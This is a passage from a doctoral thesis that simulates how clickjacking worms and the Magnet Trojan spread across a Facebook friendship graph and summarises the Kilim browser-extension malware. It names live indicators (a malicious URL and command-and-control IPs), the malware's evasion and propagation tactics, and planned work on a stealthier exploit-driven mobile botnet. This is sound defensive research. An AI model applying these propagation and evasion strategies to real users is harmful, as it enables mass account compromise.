be different. For instance, an ERG usually has a lower clustering coefficient and network

diameter than the original OSN graph. The parameters of an equivalent random graph

generated based on the Facebook sub-graph are listed in Table 6.1.

Previous research has shown that a malware may propagate faster in an ERG than in

the original OSN graph [29, 32]. An attacker may be able to obtain the graph of an OSN

using a tool such as R [147] or Pajek [148]. He may then create ERGs based on the original

OSN graph using an algorithm such as the one by Viger and Latapy [3]. We also study the

propagation of clickjacking worms in ERGs to determine whether ERGs help or hinder the

propagation of clickjacking worms in order to predict attack strategies.

We define an event or a visit in an OSN to be the action of visiting (accessing) a user’s

home page or news feed. We assume that events in an OSN happen consecutively one after

another. (Two different users may click on the same profile at the same time. Their access

requests, however, will be queued at a server consecutively, waiting to be processed. The

two events are thus considered to happen one after the other.)
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The simulation software is implemented using MATLAB. The simulation is of discrete-

event type, consisting of discrete virtual time slots. A time slot is equivalent to an event

defined above.

In the first time slot (i.e., when the simulation starts, a user (node) is chosen randomly

to be the attacker, who clicks the “Like” button on the spam site and the recommendation

is posted on his news feed for all his friends to see. (Two users are friends if and only if

their corresponding vertices in the OSN graph is connected by an edge e ∈ E.) In the next

time slot, another user j is selected randomly with a probability of 1/N where N is total

number of nodes in the network. If the user sees the spam link (i.e., one of her friends had

“liked” the video/photo/page earlier), the user will follow the link with a probability α and

get clickjacked (infected). (Some users are more cautious and do not click on just any link.)

This process continue until the simulation is stopped.

Note that the spam link may be pushed down on a Facebook page by more recent

activities. In this case, the user needs to scroll down the screen and checks for all new posts

in order to see the spam link. Not all users have the habit of checking all their new post.

We conducted an online survey involving 182 Facebook users from 18 countries around the

world. 75% of the participants said that they would scroll all the posts to capture new

posts. In our simulation we assume that if a spam link is posted on a user’s wall, only 75%

of these users actually see the spam link.

Each data point in the result graphs is the average of 100 runs, each with a different

random seed. If a user’s browser has add-on protections to prevent clickjacking scripts from

running automatically, that user is considered not vulnerable to clickjack worms. We will

consider only vulnerable users in our analysis and simulations.

6.1.3 ClickJacking Worms: Simulation Results and Analysis

When the simulation started, a random user (node) was selected to be the attacker’s fake

profile. The attacker “Liked” a spam site and the recommendation was posted on his news

feed. In the next time slot, a random user A was chosen with a probability of 1/N where N

is total number of nodes in the network. If a spam link had previously posted on A’s wall by

a friend, A would actually scroll down to see the post with a probability ps = 0.75 according

to the statistics provided by our online survey. When A saw the spam link, she may or may

not click on the link as some people are more cautious than others. Assume that a user

would click on the spam link with a probability α and get infected. The probability p for a

user to be infected is thus p = ps × α.
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Parameter OSN ERG

Number of vertices (people) 4,039 4,039

Number of edges 88,234 88,234

Average clustering coefficient 0.6055 0.06

Average shortest path length 3.692 2.59

Network diameter 8 5

Maximum node degree 1045 1045

Average node degree d 43.69 43.69

log(N)/ log(d) 1.6 1.6

Table 6.1: The OSN and its Equivalent Random Graph

The performance metric is the total number of infections (infected users) S as a function

of the number of visits (time slots). Given the same number of visits, the smaller the value

of S, the better. We carried out two sets of experiments, one using the Facebook sub-graph

and the other using an random equivalent graph (ERG) as described in the above section.

Experiment 1. Using the Facebook sub-graph network, we varied the probability p

of getting infected from 0.25 to 0.75. The graph in Figure 6.2 shows the total number of

infections as a function of the number of visits for p = 0.25, 0.5, 0.75. The results show that

the higher the probability p, the more users are infected given the same number of visits.

For instance, after the 15, 000th visit, the total number of infected users is 2,975 for p = 0.75

while that number is only 756 for p = 0.25.
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Figure 6.2: Clickjacking worm propagation for different values of p in the OSN
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Figure 6.3: Total number of visits required to infect 90% of the population

Using the same data collected in this experiment, we plotted a graph that shows the

impact of probability p on the malware propagation. In particular, the graph in Figure

6.3 shows the number of visits required to infect 90% of the population (3,635 out of 4,039

users) as a function of p. As the value of p increases, the number of visits required to

infect 90% of the population goes down significantly. For instance, this number is 49,538

for p = 0.3 and only 18,780 for p = 0.8. That is, the more cautious users are about clicking

on unknown links, the longer it takes a malware to infect the same number of profiles.

If we assume that people visit the OSN based on a Poisson process, we can convert the

number of visits into an actual time scale (hours). In the online survey mentioned earlier,

92.2% of the participants said that they visit a social network at least once a day. Given

the OSN used in this experiment (4,039 users), this results in 3,724 people visiting the

website at least once a day. This means an average of 155 visits per hour. Therefore, for

a unit of one hour, we have a Poisson process with λ = 155. Since we assume that the

average number of visits per hour is λ = 155, the inter-arrival time of the users follows an

exponential distribution with λ−1 = 155. If we map the x-axis of the graph in Figure 6.2

to the time scale based on the above calculation, we obtain the graph in Figure 6.4 for the

case where p = 0.75. The graph shows that the malware can infect half of the population

in roughly two and a half days (63 hours), and the whole network in 10 days.

Experiment 2. We repeated Experiment 1 using the equivalent random graph whose

parameters are listed in Table 6.1. The results are shown in Figure 6.5. As in the previous

case, the higher the probability p, the more infections observed in the network. For example,

after the 15, 000th visit, the total number of infections is 3,897 for p = 0.75 and 1,978 for

p = 0.25.

154



32 64 96 128 161 193 225 257 289 321

500

1000

1500

2000

2500

3000

3500

4000

Hours passed

T
o

ta
l n

u
m

b
er

 o
f 

in
fe

ct
io

n
s

 

 

P=0.75, OSN

Figure 6.4: Total number of infections as a function of number of hours (p = 0.75)

0.5 1 1.5 2 2.5 3 3.5 4 4.5 5

x 10
4

500

1000

1500

2000

2500

3000

3500

4000

Number of Visits

T
o

ta
l n

u
m

b
er

 o
f 

in
fe

ct
io

n
s

 

 

P=0.75
P=0.5
P=0.25

Figure 6.5: Clickjacking worm propagation for different values of p in the ERG

To compare the propagation speed of the malware in the original OSN and the ERG,

we transferred the curves from Figure 6.2 and Figure 6.5 for p = 0.75 to Figure 6.6. The

combined graph shows that the malware propagates faster in the ERG network than in the

original OSN. For example, after the 15, 000th visit, the total number of infected profiles is

2,975 in the original OSN, while this number is 3,897 in the ERG network. We came to

the same conclusion when comparing the number of infections in the original OSN to that

in the ERG network for other p values. That is, the ERG network enables a malware to

spread faster than a real OSN. The reason is that the ERG has a lower clustering coefficient

than the original OSN graph, 0.06 vs. 0.6. A higher clustering coefficient implies that a

message will circulate for a while in a community among friends before reaching to other

parts of the OSN, slowing down the malware propagation.

155



0.5 1 1.5 2 2.5 3 3.5 4 4.5 5

x 10
4

500

1000

1500

2000

2500

3000

3500

4000

Number of Visits

T
o

ta
l n

u
m

b
er

 o
f 

in
fe

ct
io

n
s

 

 

P=0.75, OSN
P=0.75, ERG

Figure 6.6: Comparing the OSN graph and an ERG for p = 0.75

In summary we observe that user behavior plays an important role in propagation of

clickjacking malware: the more cautious users are about unknown links, the more slowly

clickjacking malware propagates. Moreover, the high clustering structure of social networks

helps to slow down the propagation of clickjacking worms. In the following sections, we

discuss other emerging malware threats that target ONS users.

6.2 Extension-based OSN Malware

Browser extensions are designed to address the constant migration of desktop applications to

web applications. Browser extensions are typically implemented using scripting languages,

e.g., JavaScript, and have access to sensitive browser Application Programming Interfaces

(APIs) and the content of each web page. Having access to web page content and sensitive

browser APIs is a dangerous combination that enables a malicious extension to hijack user

credentials or intercept traffic to modify a user’s web requests and responses for the benefit

of an attacker [167–169].

Malware also leverages this technique to propagate in social networks. For instance,

Kilim [16], an extension-based OSN malware that targets users of Chrome browsers, was

able to infect more than one million users over the course of six months [16]. Given the

significance of such malware threats, we discuss the implementation and the propagation

dynamics of Kilim in the following subsection.
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6.2.1 Implementation of Kilim

In Chrome browser extensions, a file named “mainfest.json” gives the browser required

information to perform a set of actions. For instance, Kilim extension requests the browser

to load another JavaScript file called “background.js” on a frequent basis in which multiple

malicious routines are executed. The purposes of these malicious routines are as follows [16]:

1. Maintaining long-term control of infected systems: The malware prevents

users from removing the malicious extension by restricting users’ access to the browser

extension tab on the Chrome browser. (On a healthy system, a user can remove an

extension via an option provided in the browser extension tab.)

2. Blocking users’ access to AV provider websites: The malware prevents users

from accessing AV provider websites. The list of blocked AV provider websites main-

tained by the malware can be updated over time.

3. Removing security control: The malware removes security options from browsers

to enable cross site scripting or data injection attacks.

4. Controlling Facebook traffic: The malware intercepts users’ traffic while they

are browsing Facebook website, to “like”, “follow” or “add” other Facebook accounts

without the users’ knowledge.

The malware also uses various evasive techniques such as code splitting and obfuscation

to bypass antivirus programs, giving them more time to target OSN users while AV vendors

come up with clean-up solutions.

6.2.2 Extension-based Malware: Propagation Dynamics

Extension-based OSN malware has similar propagation dynamics to that of Trojan malware.

Therefore, most antivirus companies categorize them as JavaScript Trojans [170].

The extension-based malware starts by spamming (sending malicious posts to) the in-

fected users’ friends without the users’ knowledge, asking them to visit a web page where

they are expected to watch an enticing video. Upon visiting the web page, a user sees a

notification asking the user to install a Chrome extension in order to watch the video. If

the user proceeds with the installation, she will be shown the video to avoid suspicion while

the installed extension executes multiple malicious routines in the background, as discussed

in the previous subsection.
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The malware can further propagate itself by sending the malicious URL to the infected

user’s friends, asking them to visit the same web page hosting the video [16,170].

Given that extension-based malware follows the same propagation process as Trojans,

the studies presented in Section 4 also apply to extension-based malware.

In the next section, we will discuss a recent malware attack that infected more than

110,000 users in less than two days.

6.3 Magnet, A Fast Spreading Malware

On January 28, 2015, we observed a suspicious behavior on a Facebook post where an

(infected) user unknowingly tagged up to 20 of her friends in an adult photo post. Clicking

on the picture resulted in a browser redirection to “http://videooizleyin.com/video/” where

an adult video was shown for a few seconds. The video then paused, asking the user to

download a “player” in order to continue watching the paused video. The downloaded

“player” software was indeed a Trojan malware named “Magnet” [41]. This malware uses

unique techniques to expedite its propagation on social networks which have not been

observed in any other OSN malware before.

In this chapter we first review the implementation of the Magnet malware, and then we

study the method the malware uses to propagate faster in social networks. We will publish

an extensive in-depth analysis of Magnet malware in future work.

6.4 Magnet Malware: Implementation

After a successful infection via the download and installation of the fake player program, the

malware modifies existing browsers on the infected system in order to control the user’s web

access. The modified browser comes with an extension that acts similarly to the malicious

extension discussed in Section 6.2.1. This malicious extension blocks users from receiving

clean-up solutions from AV provider websites and “follows” and “likes” a set of Facebook

and Twitter profiles, in the background without the user’s knowledge. The malware is

capable of receiving commands from command and control centers, located at the following

two IP addresses: 107.170.134.174, and 178.62.184.149. One of the receiving commands was

to replace the legitimate URLs of AV vendor websites stored in the browser-extension with

bogus URLs, effectively preventing an infected user from accessing AV vendor websites in

order to get clean-up solutions.

As discussed, the malware “likes” a specific Facebook post without the user’s knowledge.

158



(a) January 28, 2015 - 04:19 GMT

(b) January 30, 2015 - 18:32 GMT

Figure 6.7: Infected users are unknowingly forced to “like” a Facebook post.

Figure 6.7 shows the number of likes of that specific post on January 28, 2015, 4:19 GMT

and January 30, 2015, 18:32 GMT. As can be seen, the malware was able to infect more

than 110,000 users in almost two days.

The malware also reported each infection to an information analytic website called

“whos.amung.us”. This analytic website is used by the attacker to keep track of his/her

botnet size (i.e., the number of infected systems). Figure 6.8(a) shows a time when close

to 39,000 infected users were reported to this analytic website at the same time. Figure

6.8(b) depicts the geolocation heat map of the same set of users on February 7th, 2015,

19:40 GMT.

The comments in the malware code were written in Turkish, which implies that the

malware was likely designed and written by a Turkish hacker. As can be seen in Fig.

6.8(b), the malware concentrated mostly in Mediterranean countries, in particular Turkey,

at the time the map was generated. This observation is consistent with our studies discussed

in Chapters 4 and 3, that an OSN malware would circulate for a while within a community

before reaching other parts of the social network. That is due to the highly clustered

structure of social networks.
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(a) Attacker’s analytic dashboard

(b) The geolocations heat map of infected users reported to the analytic dashboard

Figure 6.8: Attacker’s analytic information

6.4.1 Magnet Malware: Propagation Dynamics

Magnet used several techniques unknown at the time of its discovery to evade detection by

many well-known antivirus software products, including but not limited to AVG, TrendMi-

cro, Symantec, Sophos and Fortinet.

This feature allowed Magnet to propagate freely even on the set of computers that

had installed antivirus products named above. To prevent users from receiving clean-up

updates, Magnet blocked users’ access to most of the antivirus provider websites in order

to maintain control of the infected systems as long as possible.

There are similarities between Kilim, the extension-based malware discussed above [16],

and Magnet. Thus, some antivirus products categorized Magnet as one of the Kilim variants.

However, none of the previously known instances of Kilim had used a similar technique in
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order to propagate in OSNs. This technique, which we call “Magnet”, helped the malware

to propagate faster in social networks.

Traditionally, OSN malware would send malicious links to the friends of a newly infected

user. Therefore, only the friends of the newly infected user would be exposed to the malicious

links and thus may fall for them.

Typically, when someone is tagged in a Facebook post, the friends of that person can

also see the post. Magnet exploited this feature to get exposure to the friends of the tagged

person. That is, Magnet would tag several friends of a newly infected user into a malicious

post (displayed on the wall of the infected user). When the friends of the tagged users see

the post, they would also be exposed to the malicious post. This mechanism allows Magnet

to reach not only one-hop neighbors of an infected user u but also u’s two-hop neighbors in

the network graph (i.e., friends of the one-hop neighbors).

We ran an experiment to study the new technique of Magnet and compared it with the

way traditional Trojans would use to propagate in OSNs.

Magnet Malware: Simulation Model and Parameter Settings

We used the Facebook OSN graph whose properties are listed in Table 6.1. The simulation

is of discrete-event type, consisting of discrete virtual time slots. A time slot is equivalent to

an event. We define an event or a visit in an OSN to be the action of visiting (accessing) a

user’s home page or news feed. We assume that events in an OSN happen consecutively one

after another. As discussed in Section 6.1.2, two different users may click on the same profile

at the same time. Their access requests, however, will be queued at a server consecutively,

waiting to be processed. The two events are thus considered to happen one after the other.

In the first time slot (i.e., when the simulation starts), a user (node) is chosen randomly

to be the attacker. The attacker then randomly selects n of her friends and tags them in a

malicious Facebook post. If any of the tagged users follows the malicious post and becomes

infected, the malware would also perform the same process by tagging this user’s friends.

For each node i, the number n is equal to min(di, tag) where di and tag represent the

degree of node i and the number of users to be tagged by the malware, respectively. Param-

eter tag is an adjustable variable, which determines the speed of the malware propagation.

In general, the higher the value of tag, the faster the malware spreads. In each time slot,

another user j is selected randomly with a probability of 1/N where N is the total number

of nodes in the network. If the user finds that either himself or one of his friends is tagged

in a malicious post, the user will follow the link and execute the malware with a probability
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Figure 6.9: Magnet vs. traditional OSN Trojans - p = 0.5; tag = {5,10}

p. If the user executes the malware code, he/she is considered infected.

Magnet Malware: Simulation Results and Analysis

When the simulation started, a random user (node) was selected to be the attacker’s fake

profile. The attacker tagged n of her friends as described above, where n = min(di, tag)

and tag = 5. In the next time slot, a random user A was chosen with a probability of 1/N

where N is the total number of nodes in the network. If A or one of his friends is tagged

in a malicious post, A would follow a link in the malicious post and execute the malware

with probability p = 0.5. We repeated the same experiment with tag = 10.

In our implementation of a traditional Trojan, the malware posts the malicious link on

an infected user’s wall but does not tag any user.

The performance metric is the total number of infections (infected users) as a function

of the number of visits (time slots). Given the same number of visits, the malware with a

higher number of infections is considered spreading faster than the others. Figure 6.9 shows

the simulation results. The graphs show that Magnet propagates faster than traditional

OSN Trojans. For instance, at the 14,000th visit, there are 3,188 infected users in the

system when the malware tags five users in each post, while there are 1,946 infected users

in the network in the case of the traditional Trojan. That is approximately 30% more

infections caused by Magnet in the same time frame.
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6.5 Chapter Summary

In this chapter, we review three emerging malware threats targeting OSN users, namely,

clickjacking worms, extension-based malware and Magnet, a Trojan malware. For click-

jacking worms, we present simulations results that demonstrate that user behaviors have

an important impact on the propagation of clickjacking malware: the more cautious users

are about unknown links, the more slowly clickjacking malware propagates. Furthermore,

the high clustering structure of social networks helps to slow down the propagation of such

malware. Next we review the implementation of extension-based malware. Extension-based

malware can have severe impacts on infected users, such as blocking them from accessing

antivirus vendor websites. Finally, we discuss Magnet, a new type of OSN Trojan which

leverages innovative techniques to propagate faster in social networks. Our simulation re-

sults show that Magnet can spread much faster than traditional Trojans.

We will discuss the future direction of our research and also conclude our thesis in the

next chapter.
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Chapter 7

Conclusion and Future Research

Directions

In this chapter, we summarize the main results of the thesis, identify open issues, and

outline research directions for future work.

7.1 Summary

Malware has been a key threat to computer systems, causing service disruption, financial

losses and reputational damages to businesses and individuals. Understanding malware and

the way they propagate allows us to design more effective defensive technologies to mitigate

malware risks. Our research in this dissertation contributes towards that goal. Following

are summaries of our contributions.

7.1.1 XSS Worm Propagation in Online Social Networks:

Our first contribution is analytical models and simulation results that characterize the

impacts of the following factors on the propagation of cross-site scripting (XSS) worms

in online social networks (OSNs): 1) user behavior, namely, the probability of visiting a

friends profile versus a strangers; 2) the highly clustered structure of communities; and 3)

community sizes. Our analysis and simulation results show that the clustered structure of

a community and users tendency to visit their friends more often than strangers help slow

down the propagation of XSS worms in OSNs.

We then present a study of selective monitoring schemes that are more resource effi-

cient than the exhaustive checking approach used by the Facebook detection system which
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monitors every possible read and write operation of every user in the network. The stud-

ied selective monitoring schemes take advantage of the characteristics of OSNs such as the

highly clustered structure and short average distance to select only a subset of strategically

placed users to monitor, thus minimizing resource usage while maximizing the monitoring

coverage. We present simulation results to show the effectiveness of the studied selective

monitoring schemes for malware detection.

7.1.2 Trojan Propagation in Online Social Networks:

Our second contribution is an analytical model to study propagation characteristics of

Trojan malware and factors that impact the propagation dynamics of Trojans in an online

social network.

Unlike most previous works, the proposed model assumes all the topological charac-

teristics of real online social networks, namely, low average shortest distance, power-law

distribution of node degrees and high clustering coefficient. Furthermore, the model takes

into account attacking trends of modern Trojans (e.g., their ability to block users’ access to

AV provider websites), the role of AV products, and security practices such as gradual AV

update release by AV providers and users’ collaborative disinfection. These factors were

never considered in existing works. By taking into account these factors, the proposed model

can accurately and realistically estimate the infection rate caused by a Trojan malware in

an OSN as well as the recovery rate of the user population.

The model is validated using a Facebook sub-graph. The numerical results obtained

from the model closely match the simulation results. While being accurate accurate, the

model also has low computational complexity, in the order of O(E), where E is the number

of edges in the network graph.

From the numerical and simulation results, we draw the following conclusions and

lessons. AV products play an important role in protecting OSN users from Trojans. For

zero-day or very novel malware, the faster AV providers release updates/patches, the more

users will be protected. In the case of blocking malware, collaborative disinfection is an

effective mechanism that helps infected users to recover, especially in cases of sophisticated

Trojans that use advanced social engineering techniques to deceive OSN users.

User awareness of security threats and safe browsing practices play an important role

in protecting OSN users from Trojans by slowing down the propagation of malware. OSN

administrators should launch campaigns and advertisements to educate users about safe

browsing practices (e.g., not following unknown links) and about new malicious social en-
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gineering techniques as soon they are discovered. In the case of blocking malware, OSN

providers should notify infected users via different channels, e.g., short message service

(SMS) or email, and provide them with clean-up solutions as early as possible.

7.1.3 Cellular Botnet Formation via Online Social Networks:

Our third contribution is the design, implementation and evaluation of a new mobile botnet

that exploits online social networks to transmit commands and control messages. This type

of botnet is more suitable for mobile botnet communications than the traditional SMS in

terms monetary cost, robustness, detectability, propagation speed, reachability, and traffic

load. Following are the contributions of this chapter:

• Our comprehensive simulation-based analysis examines various strategies a SoCellBot

network can use to maximize the number of bots recruited within a short amount of

time, while minimizing the risk of being detected.

• We provide an analytical model to estimate the number of new infections caused by

a highly pervasive recruitment malware in O(V 2) time, where V is the total number

of nodes in the social network graph. The results from the proposed analytical model

closely match the simulation results.

• We show a real-world implementation of this botnet on a small-scale social network,

which exploits an existing vulnerability in a series of Android devices. The experi-

mental results from this implementation also match the simulation results.

To the best of our knowledge, our SoCellBot mobile botnet design is the first that

exploits OSNs to propagate and transmit commands and control messages, and considers

the characteristics of real social networks (i.e., low average network distance, high clustering

co-efficient, and power-law distributed node degrees).

7.1.4 Emerging Malware Threats in Online Social Networks:

Our fourth contribution is to analyze the implementations of three emerging threats in on-

line social networks - clickjacking worms, Magnet and extension-based. In particular, we

discuss an implementation of clickjacking worms that exploit social network features such

as Like and Share to propagate themselves. We present simulations results that demon-

strate that user behaviour have an impact on the propagation of clickjacking malware: the
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more cautious users are about unknown links, the more slowly clickjacking malware propa-

gates. Furthermore, the high clustering structure of social networks helps to slow down the

propagation of such malware.

Moreover, we describe the implementation of Kilim, an extension-based malware, and

its propagation characteristics. We also discuss the implementation of Magnet, a new type

of OSN Trojan that leverages innovative techniques to propagate faster in social networks.

Our simulation results showed that Magnet can spread much faster than traditional Trojans.

The reason is that Magnet can send malicious links/messages not only to the infected user’s

friends but also to their friends.

7.2 Future Research Directions

Our current Trojan model assumes one infiltrating node (fake user). We will enhance

our model to include multiple infiltrating nodes. We will also model the propagation of

Magnet, a new type of Trojan that is able post on the walls of (or send messages to)

two-hop neighbours of an infected node. (Traditional OSN Trojans can directly reach only

one-hop neighbours of an infected user, as modeled in Chapter 4).

We will conduct surveys to accurately model user behavior of following unknown links

and executing hidden malicious code. Our future model will consider the impact of alerted

users in response to malware propagation. We will also research timelines of AV updates

released by AV providers in past attacks to derive different functions that reflect real-world

practices.

Furthermore, we will conduct extensive crowd-sourced surveys and simulations (using

benign malware) to study the impact of user behavior and user timing on malware propa-

gation in OSNs. We will also consider the impact of different distributions of community

sizes on malware propagation in OSNs. The outcomes of this study will allow us to design

advanced counter-measures to detect new malware in their early stages of propagation.

Our current implementation of SoCellBot has limited command and control capabilities.

We will enhance our SoCellBot features to allow bots to receive and act upon more com-

mands. We will use more exploit combinations to address more phone models with recent

Android operating system (e.g., Stagefright [171] along with dirty COW [172] vulnerabili-

ties). We will create custom payloads based on the phone models, and make the botnet act

in a more stealthy manner. We will also add features to replace the botmaster node fre-

quently in order to avoid single points of failure. Moreover, we will model the propagation

of SoCellBot in large cellular networks.
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Finally, we will extend our research to OSNs represented by directed graphs such as

Twitter.
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